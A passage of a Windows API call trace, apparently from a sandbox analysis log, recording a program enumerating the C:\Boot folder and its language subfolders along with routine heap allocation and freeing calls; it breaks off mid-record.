ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0101.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.486] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290140 [0101.533] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.533] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.533] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0101.534] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0101.534] FindClose (in: hFindFile=0x4290140 | out: hFindFile=0x4290140) returned 1 [0101.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.534] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0101.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.534] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290500 [0101.534] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.534] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0101.535] FindClose (in: hFindFile=0x4290500 | out: hFindFile=0x4290500) returned 1 [0101.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0101.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.535] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290700 [0101.535] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0101.535] FindClose (in: hFindFile=0x4290700 | out: hFindFile=0x4290700) returned 1 [0101.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.535] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0101.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.536] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42900c0 [0101.537] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.537] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.537] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0101.537] FindNextFileW (in: hFindFile=0x42900c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0101.537] FindClose (in: hFindFile=0x42900c0 | out: hFindFile=0x42900c0) returned 1 [0101.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.537] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0101.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.537] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290800 [0101.540] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.540] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.540] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0101.540] FindClose (in: hFindFile=0x4290800 | out: hFindFile=0x4290800) returned 1 [0101.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.540] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0101.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.540] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290600 [0101.541] FindNextFileW (in: hFindFile=0x4290600, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.541] FindNextFileW (in: hFindFile=0x4290600, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0101.541] FindNextFileW (in: hFindFile=0x4290600, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0101.541] FindNextFileW (in: hFindFile=0x4290600, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0101.541] FindClose (in: hFindFile=0x4290600 | out: hFindFile=0x4290600) returned 1 [0101.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.541] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0101.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.541] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0102.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: 